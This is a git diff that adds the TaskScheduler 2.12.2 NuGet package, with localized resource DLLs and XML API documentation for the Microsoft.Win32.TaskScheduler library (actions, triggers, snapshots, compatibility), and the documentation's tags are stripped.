+ + + Indicates that method is pure LINQ method, with postponed enumeration (like Enumerable.Select, + .Where). This annotation allows inference of [InstantHandle] annotation for parameters + of delegate type by analyzing LINQ method chains. + + + + + Indicates that IEnumerable, passed as parameter, is not enumerated. + + + + + Indicates that parameter is regular expression pattern. + + + + + Prevents the Member Reordering feature from tossing members of the marked class. + + + The attribute must be mentioned in your member reordering patterns + + + + + XAML attribute. Indicates the type that has ItemsSource property and should be treated + as ItemsControl-derived type, to enable inner items DataContext type resolve. + + + + + XAML attribute. Indicates the property of some BindingBase-derived type, that + is used to bind some item of ItemsControl-derived type. This annotation will + enable the DataContext type resolve for XAML bindings for such properties. + + + Property should have the tree ancestor of the ItemsControl type or + marked with the attribute. + + + + Extensions for classes in the System.Security.AccessControl namespace. + + + Canonicalizes the specified Access Control List. + The Access Control List. + + + Sort ACEs according to canonical form for this . + The object security whose DiscretionaryAcl will be made canonical. + + + Returns an array of byte values that represents the information contained in this object. + The object. + The byte array into which the contents of the is marshaled. + + + + Converts the string representation of the name or numeric value of one or more enumerated constants to an equivalent enumerated object or returns the value of . If is undefined, it returns the first declared item in the enumerated type. + + The enumeration type to which to convert . + The string representation of the enumeration name or underlying value to convert. + true to ignore case; false to consider case. + The default value. + An object of type whose value is represented by value. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + Output type for the CLI array. must be able to convert to . + The pointing to the native array. + The number of items in the native array. + An array of type containing the converted elements of the native array. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + The pointing to the native array. + The number of items in the native array. + An array of type containing the elements of the native array. + + + Extensions related to System.Reflection + + + Loads a type from a named assembly. + Name of the type. + The name or path of the file that contains the manifest of the assembly. + The reference, or null if type or assembly not found. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly reference name from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. This method assumes the type has a default public constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. + The arguments to supply to the constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on an object with parameters and no return value. + The object on which to invoke the method. + Name of the method. + The arguments to provide to the method invocation. + + + Invokes a named method on an object with parameters and no return value. + The expected type of the method's return value. + The object on which to invoke the method. + Name of the method. + The types of the . + The arguments to provide to the method invocation. + The value returned from the method. + + + Gets a named property value from an object. + The expected type of the property to be returned. + The object from which to retrieve the property. + Name of the property. + The default value to return in the instance that the property is not found. + The property value, if found, or the if not. + + + Sets a named property on an object. + The type of the property to be set. + The object on which to set the property. + Name of the property. + The property value to set on the object. + +
+
diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/de/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/de/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..22d8ef0 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/de/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/es/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/es/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..c24d3f9 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/es/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/fr/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/fr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..f360be0 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/fr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/it/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/it/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..3bd2e54 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/it/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/ja/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/ja/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..1b4aaf3 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/ja/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/pl/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/pl/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..346d7ec Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/pl/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/ru/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/ru/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..b7135b7 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/ru/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/sv/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/sv/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..c2700ba Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/sv/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/tr/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/tr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..fc04f1a Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/tr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..1c7e320 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..2c9b9bb Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/Microsoft.Win32.TaskScheduler.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/Microsoft.Win32.TaskScheduler.dll new file mode 100644 index 0000000..aa35b88 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/Microsoft.Win32.TaskScheduler.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/Microsoft.Win32.TaskScheduler.xml b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/Microsoft.Win32.TaskScheduler.xml new file mode 100644 index 0000000..741ff76 --- /dev/null +++ b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/Microsoft.Win32.TaskScheduler.xml @@ -0,0 +1,7855 @@ + + + + Microsoft.Win32.TaskScheduler + + + + Defines the type of actions a task can perform. + The action type is defined when the action is created and cannot be changed later. See . + + + + This action performs a command-line operation. For example, the action can run a script, launch an executable, or, if the name + of a document is provided, find its associated application and launch the application with the document. + + + + This action fires a handler. + + + This action sends and e-mail. + + + This action shows a message box. + + + An interface that exposes the ability to convert an actions functionality to a PowerShell script. + + + + Abstract base class that provides the common properties that are inherited by all action objects. An action object is created by the + method. + + + + List of unbound values when working with Actions not associated with a registered task. + + + Occurs when a property value changes. + + + Gets the type of the action. + The type of the action. + + + Gets or sets the identifier of the action. + + + Creates the specified action. + Type of the action to instantiate. + of specified type. + + + Creates a new object that is a copy of the current instance. + A new object that is a copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Returns the action Id. + String representation of action. + + + Returns a that represents this action. + The culture. + String representation of action. + + + Creates a specialized class from a defined interface. + Version 1.0 interface. + Specialized action class + + + Creates a specialized class from a defined interface. + Version 2.0 Action interface. + Specialized action class + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that fires a handler. Only available on Task Scheduler 2.0. Only available for Task Scheduler 2.0 on + Windows Vista or Windows Server 2003 and later. + + + This action is the most complex. It allows the task to execute and In-Proc COM server object that implements the ITaskHandler + interface. There is a sample project that shows how to do this in the Downloads section. + + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Identifier of the handler class. + Addition data associated with the handler. + + + Gets or sets the identifier of the handler class. + + + Gets the name of the object referred to by . + + + Gets or sets additional data that is associated with the handler. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Gets the name for CLSID. + The unique identifier. + + + + + Represents an action that sends an e-mail. Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and + later.This action has been deprecated in Windows 8 and later. However, this library is able to mimic its + functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + The EmailAction allows for an email to be sent when the task is triggered. + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Subject of the e-mail. + E-mail address that you want to send the e-mail from. + E-mail address or addresses that you want to send the e-mail to. + Body of the e-mail that contains the e-mail message. + Name of the server that you use to send e-mail from. + + + + Gets or sets an array of file paths to be sent as attachments with the e-mail. Each item must be a value + containing a path to file. + + + + Gets or sets the e-mail address or addresses that you want to Bcc in the e-mail. + + + Gets or sets the body of the e-mail that contains the e-mail message. + + + Gets or sets the e-mail address or addresses that you want to Cc in the e-mail. + + + Gets or sets the e-mail address that you want to send the e-mail from. + + + Gets or sets the header information in the e-mail message to send. + + + Gets or sets the priority of the e-mail message. + A that contains the priority of this message. + + + Gets or sets the e-mail address that you want to reply to. + + + Gets or sets the name of the server that you use to send e-mail from. + + + Gets or sets the subject of the e-mail. + + + Gets or sets the e-mail address or addresses that you want to send the e-mail to. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Represents an action that executes a command-line operation. + + All versions of the base library support the ExecAction. It only has three properties that allow it to run an executable with parameters. + + + + + + + + + Creates a new instance of an that can be added to . + + + Creates a new instance of an that can be added to . + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + + + Gets or sets the arguments associated with the command-line operation. + + + Gets or sets the path to an executable file. + + + + Gets or sets the directory that contains either the executable file or the files that are used by the executable file. + + + + Determines whether the specified path is a valid filename and, optionally, if it exists. + The path. + if set to true check if file exists. + if set to true throw exception on error. + true if the specified path is a valid filename; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Validates the input as a valid filename and optionally checks for its existence. If valid, the property is + set to the validated absolute file path. + + The file path to validate. + if set to true check if the file exists. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that shows a message box when a task is activated. Only available for Task Scheduler 2.0 on Windows Vista + or Windows Server 2003 and later.This action has been deprecated in Windows 8 and later. However, this + library is able to mimic its functionality using PowerShell if the property is + set to . To disable this conversion, set the value to . + + Display a message when the trigger fires using the ShowMessageAction. + + + + + + + + Creates a new unbound instance of . + + + Creates a new unbound instance of . + Message text that is displayed in the body of the message box. + Title of the message box. + + + Gets or sets the message text that is displayed in the body of the message box. + + + Gets or sets the title of the message box. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Options for when to convert actions to PowerShell equivalents. + + + + Never convert any actions to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities + are found. + + + + + Convert actions under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple + actions of all types. If not specified, only a single is supported. Developer must ensure that + PowerShell v2 or higher is installed on the target computer. + + + + + Convert all and references to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + + Convert all actions regardless of version or operating system. + + + Collection that contains the actions that are performed by the task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets or sets the identifier of the principal for the task. + + + + Gets or sets the systems under which unsupported actions will be converted to PowerShell instances. + + The PowerShell platform options. + + This property will affect how many actions are physically stored in the system and is tied to the version of Task Scheduler. + + If set to , then no actions will ever be converted to PowerShell. This will + force exceptions to be thrown when unsupported actions our action quantities are found. + + + If set to , then actions will be converted only under Version 1 of the + library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. If not specified, + only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the + target computer. + + + If set to (which is the default value), then and references will be converted to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + If set to , then any actions not supported by the Task Scheduler version will be + converted to PowerShell. + + + + + Gets or sets an XML-formatted version of the collection. + + + Gets the number of actions in the collection. + + + Gets or sets a specified action from the collection. + The . + The id ( ) of the action to be retrieved. + Specialized instance. + + + + Mismatching Id for action and lookup. + + + Gets or sets a an action at the specified index. + The zero-based index of the action to get or set. + + + Adds an action to the task. + A type derived from . + A derived class. + The bound that was added to the collection. + + + Adds an to the task. + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + The bound that was added to the collection. + + + Adds a new instance to the task. + Type of task to be created + Specialized instance. + + + Adds a collection of actions to the end of the . + + The actions to be added to the end of the . The collection itself cannot be null and cannot + contain null elements. + + is null. + + + Clears all actions from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified action type is contained in this collection. + Type of the action. + true if the specified action type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an array of , starting at a particular index. + + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + + + + Copies the elements of the to an array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Retrieves an enumeration of each of the actions. + + Returns an object that implements the interface and that can iterate through the + objects within the . + + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the action to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an action at the specified index. + The zero-based index at which action should be inserted. + The action to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the action at a specified index. + Index of action to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the actions in this collection. + A that represents the actions in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Functions to provide localized strings for enumerated types and values. + + + + + Gets a string representing the localized value of the provided enum. + + The enum value. + A localized string, if available. + + + + Pair of name and value. + + + + + Occurs when a property has changed. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the name. + + + The name. + + + + + Gets or sets the value. + + + The value. + + + + + Clones this instance. + + A copy of an unbound . + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Implements the operator implicit NameValuePair. + + The KeyValuePair. + + The result of the operator. + + + + + Contains a collection of name-value pairs. + + + + + Occurs when the collection has changed. + + + + + Occurs when a property has changed. + + + + + Copies current to another. + + The destination collection. + + + + Releases all resources used by this class. + + + + + Gets the number of items in the collection. + + + + + Gets a collection of the names. + + + The names. + + + + + Gets a collection of the values. + + + The values. + + + + + Gets the value of the item at the specified index. + + The index of the item being requested. + The value of the name-value pair at the specified index. + + + + Gets the value of the item with the specified name. + + Name to get the value for. + Value for the name, or null if not found. + + + + Adds an item to the . + + The object to add to the . + + + + Adds a name-value pair to the collection. + + The name associated with a value in a name-value pair. + The value associated with a name in a name-value pair. + + + + Adds the elements of the specified collection to the end of . + + The collection of whose elements should be added to the end of . + + + + Clears the entire collection of name-value pairs. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Removes the name-value pair with the specified key from the collection. + + The name associated with a value in a name-value pair. + true if item successfully removed; false otherwise. + + + + Removes a selected name-value pair from the collection. + + Index of the pair to remove. + + + + Gets the value associated with the specified name. + + The name whose value to get. + When this method returns, the value associated with the specified name, if the name is found; otherwise, null. This parameter is passed uninitialized. + true if the collection contains an element with the specified name; otherwise, false. + + + + Gets the collection enumerator for the name-value collection. + + An for the collection. + + + + Abstract class for throwing a method specific exception. + + + + Defines the minimum supported version for the action not allowed by this exception. + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Gets a message that describes the current exception. + + + + + Gets the minimum supported TaskScheduler version required for this method or property. + + + + + Gets the object data. + + The information. + The context. + + + + Thrown when the calling method is not supported by Task Scheduler 1.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Initializes a new instance of the class. + + The message. + + + + Thrown when the calling method is not supported by Task Scheduler 2.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Thrown when the calling method is not supported by Task Scheduler versions prior to the one specified. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + A strongly-typed resource class, for looking up localized strings, etc. + + + + + Returns the cached ResourceManager instance used by this class. + + + + + Overrides the current thread's CurrentUICulture property for all + resource lookups using this strongly typed resource class. + + + + + Looks up a localized string similar to Call a COM object. + + + + + Looks up a localized string similar to Start a program. + + + + + Looks up a localized string similar to Send an e-mail. + + + + + Looks up a localized string similar to Display a message. + + + + + Looks up a localized string similar to {3} {0:P}. + + + + + Looks up a localized string similar to every day. + + + + + Looks up a localized string similar to {1} {0}. + + + + + Looks up a localized string similar to .. + + + + + Looks up a localized string similar to The date and time a trigger expires must be later than the time time it starts or is activated.. + + + + + Looks up a localized string similar to {0} {1}. + + + + + Looks up a localized string similar to -. + + + + + Looks up a localized string similar to ,. + + + + + Looks up a localized string similar to every month. + + + + + Looks up a localized string similar to Multiple actions defined. + + + + + Looks up a localized string similar to Multiple triggers defined. + + + + + Looks up a localized string similar to {0}. + + + + + Looks up a localized string similar to Author. + + + + + Looks up a localized string similar to Disabled. + + + + + Looks up a localized string similar to Queued. + + + + + Looks up a localized string similar to Ready. + + + + + Looks up a localized string similar to Running. + + + + + Looks up a localized string similar to Unknown. + + + + + Looks up a localized string similar to any user. + + + + + Looks up a localized string similar to At system startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to At {0:t} every day. + + + + + Looks up a localized string similar to At {0:t} every {1} days. + + + + + Looks up a localized string similar to indefinitely. + + + + + Looks up a localized string similar to for a duration of {0}. + + + + + Looks up a localized string similar to for {0}. + + + + + Looks up a localized string similar to Trigger expires at {0:G}.. + + + + + Looks up a localized string similar to Custom event filter. + + + + + Looks up a localized string similar to On event - Log: {0}. + + + + + Looks up a localized string similar to , Source: {0}. + + + + + Looks up a localized string similar to , EventID: {0}. + + + + + Looks up a localized string similar to When computer is idle. + + + + + Looks up a localized string similar to At log on of {0}. + + + + + Looks up a localized string similar to At {0:t} on day {1} of {2}, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} on {1} {2:f} each {3}, starting {0:d}. + + + + + Looks up a localized string similar to When the task is created or modified. + + + + + Looks up a localized string similar to After triggered, repeat every {0} {1}.. + + + + + Looks up a localized string similar to Every {0} {1}.. + + + + + Looks up a localized string similar to On local connection to {0}.. + + + + + Looks up a localized string similar to On local disconnect from {0}.. + + + + + Looks up a localized string similar to On remote connection to {0}.. + + + + + Looks up a localized string similar to On remote disconnect from {0}.. + + + + + Looks up a localized string similar to On workstation lock of {0}.. + + + + + Looks up a localized string similar to On workstation unlock of {0}.. + + + + + Looks up a localized string similar to user session of {0}. + + + + + Looks up a localized string similar to At {0:t} on {0:d}. + + + + + Looks up a localized string similar to At startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to Daily. + + + + + Looks up a localized string similar to On an event. + + + + + Looks up a localized string similar to On idle. + + + + + Looks up a localized string similar to At log on. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to At task creation/modification. + + + + + Looks up a localized string similar to On state change. + + + + + Looks up a localized string similar to One time. + + + + + Looks up a localized string similar to Weekly. + + + + + Looks up a localized string similar to At {0:t} every {1} of every week, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} every {1} of every {2} weeks, starting {0:d}. + + + + + Looks up a localized string similar to every. + + + + + Looks up a localized string similar to fifth. + + + + + Looks up a localized string similar to first. + + + + + Looks up a localized string similar to fourth. + + + + + Looks up a localized string similar to last. + + + + + Looks up a localized string similar to second. + + + + + Looks up a localized string similar to third. + + + + + Some string values of properties can be set to retrieve their value from existing DLLs as a resource. This class facilitates creating those reference strings. + + + + + Initializes a new instance of the class. + + The DLL path. + The resource identifier. + + + + Gets or sets the resource file path. This can be a relative path, full path or lookup path (e.g. %SystemRoot%\System32\ResourceName.dll). + + + The resource file path. + + + + + Gets or sets the resource identifier. + + The resource identifier. + + + + Performs an implicit conversion from to . + + The value. + The result of the conversion. + + + + Parses the input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + A new instance on success or null on failure. + is null + is not in the format "$(@ [Dll], [ResourceID])" + + + + Tries to parse to input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + The resource reference to be returned. On failure, this value equals null. + A new instance on success or null on failure. + + + + Gets the result of pulling the string from the resource file using the identifier. + + from resource file. + cannot be found. + Unable to load or string identified by . + + + + Returns a in the format required by the Task Scheduler to reference a string in a DLL. + + A formatted in the format $(@ [Dll], [ResourceID]). + + + Abstract class representing a secured item for storage in a . + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + Gets the path to the item. + The path to the item. + + + Gets the SDDL for the item. + The SDDL for the item. + + + Represents a instance and captures its name and security. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + + Represents all the information about the tasks and folders from a instance that can be used to reconstitute tasks and folders + on the same or different systems. This class and related classes are only available under the .NET 4.5.2 build and later .NET versions due to + dependencies on threading and compressed (zip) files. + + + + Creates a new instance of from an existing snapshot. + The zip file snapshot created by the method. + + + + Gets a list of and instances the represent the tasks and folders from a Task Scheduler instance. + + + + Gets the path of the file based snapshot. + + + Gets the machine name of the server from which the snapshot was taken. + The target server name. + + + Gets the UTC time stamp for when the snapshot was taken. + The time stamp. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method can take many seconds to execute. It is recommended to call the asynchronous + version.This method will execute without error even if the user does not have permissions to see all tasks and folders. + It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A instance with the contents of the specified Task Scheduler connection. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method will execute without error even if the user does not have permissions to see all + tasks and folders. It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance with the contents of the specified Task Scheduler connection. + + + Opens an existing snapshot and returns a new instance of . + The zip file snapshot created by the method. + A instance with the contents of the specified snapshot file. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of paths representing the tasks and folders from this snapshot that should be registered on the instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + + + Represents a instance and captures its details. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + If set to true task is enabled. + The XML for the . + + + Gets a value indicating whether th is enabled. + true if enabled; otherwise, false. + + + Gets the XML. + The XML. + + + Defines what versions of Task Scheduler or the AT command that the task is compatible with. + + + The task is compatible with the AT command. + + + + The task is compatible with Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + Items not available when compared to V2: + + TaskDefinition.Principal.GroupId - All account information can be retrieved via the UserId property. + TaskLogonType values Group, None and S4U are not supported. + TaskDefinition.Principal.RunLevel == TaskRunLevel.Highest is not supported. + + Assigning access security to a task is not supported using TaskDefinition.RegistrationInfo.SecurityDescriptorSddlForm or in RegisterTaskDefinition. + + + TaskDefinition.RegistrationInfo.Documentation, Source, URI and Version properties are only supported using this library. See + details in the remarks for . + + TaskDefinition.Settings.AllowDemandStart cannot be false. + TaskDefinition.Settings.AllowHardTerminate cannot be false. + TaskDefinition.Settings.MultipleInstances can only be IgnoreNew. + TaskDefinition.Settings.NetworkSettings cannot have any values. + TaskDefinition.Settings.RestartCount can only be 0. + TaskDefinition.Settings.StartWhenAvailable can only be false. + + TaskDefinition.Actions can only contain ExecAction instances unless the TaskDefinition.Actions.PowerShellConversion property has + the Version1 flag set. + + TaskDefinition.Triggers cannot contain CustomTrigger, EventTrigger, SessionStateChangeTrigger, or RegistrationTrigger instances. + TaskDefinition.Triggers cannot contain instances with delays set. + TaskDefinition.Triggers cannot contain instances with ExecutionTimeLimit or Id properties set. + TaskDefinition.Triggers cannot contain LogonTriggers instances with the UserId property set. + 